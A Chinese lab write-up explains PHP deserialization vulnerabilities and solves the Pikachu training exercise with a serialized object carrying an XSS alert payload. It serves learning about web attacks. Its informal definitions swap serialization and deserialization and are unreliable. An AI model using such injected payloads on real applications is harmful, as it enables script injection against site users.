unserialize-基于Pikachu的学习

php反序列化

PHP反序列化漏洞详解(万字分析、由浅入深)_php反序列化漏洞原理-CSDN博客

PHP反序列化基础 - Hello CTF (hello-ctf.com)

PHP反序列化漏洞的原理及复现 - FreeBuf网络安全行业门户

原理:

php程序为了保存和转储对象,提供了序列化的方法。php序列化是为了在程序运行的过程中对对象进行转储而产生的。序列化可以将对象转换成字符串,但仅保留对象里的成员变量,不保留函数方法。

php序列化的函数为serialize,可以将对象中的成员变量转换成字符串。

反序列化的函数为unserilize,可以将serialize生成的字符串重新还原为对象中的成员变量。

将用户可控的数据进行了反序列化,就是PHP反序列化漏洞。

咱们先了解一下序列化和反序列化都是什么含义

通俗来讲

序列化就是把字符串去转换成PHP对象

反序列化就是把php对象转换成字符串

常见的魔术方法

__construct()            //类的构造函数,创建对象时触发

__destruct()             //类的析构函数,对象被销毁时触发

__call()                 //在对象上下文中调用不可访问的方法时触发

__callStatic()           //在静态上下文中调用不可访问的方法时触发

__get()                  //读取不可访问属性的值时,这里的不可访问包含私有属性或未定义

__set()                  //在给不可访问属性赋值时触发

__isset()                //当对不可访问属性调用 isset() 或 empty() 时触发

__unset()                //在不可访问的属性上使用unset()时触发

__invoke()               //当尝试以调用函数的方式调用一个对象时触发

__sleep()                //执行serialize()时,先会调用这个方法

__wakeup()               //执行unserialize()时,先会调用这个方法

__toString()             //当反序列化后的对象被输出在模板中的时候(转换成字符串的时候)自动调用

Pikachu

打开题目就让我输入一个序列化的东西,但是没有啥源码,估计就是概述里面的那个示例

那我们就分析一下

我们去创造一个S的对象,然后会触发destruct这个魔术方法,然后打印出test的值,那我们就可以在test的这里去动手脚了

new S() -> __destruct() -> $this->test

我们打开php在线这个网站,去序列化一下PHP 在线工具 | 菜鸟工具 (jyshare.com)

我们构造一下payload:

<?php
class S{
	function __destruct(){
                echo $this->test;
            }
}
$a=new S();
$a->test="<script>alert('hack')</script>";
echo serialize($a);
O:1:"S":1:{s:4:"test";s:30:"<script>alert('hack')</script>";}<script>alert('hack')</script>

然后弄到输入框试试:

成功了。

热门相关:来自异世界的诺诺   万妖帝主   首席的强娶豪夺:离婚365次   赠我深爱如长风   恶魔总裁霸道宠:老婆,甜似火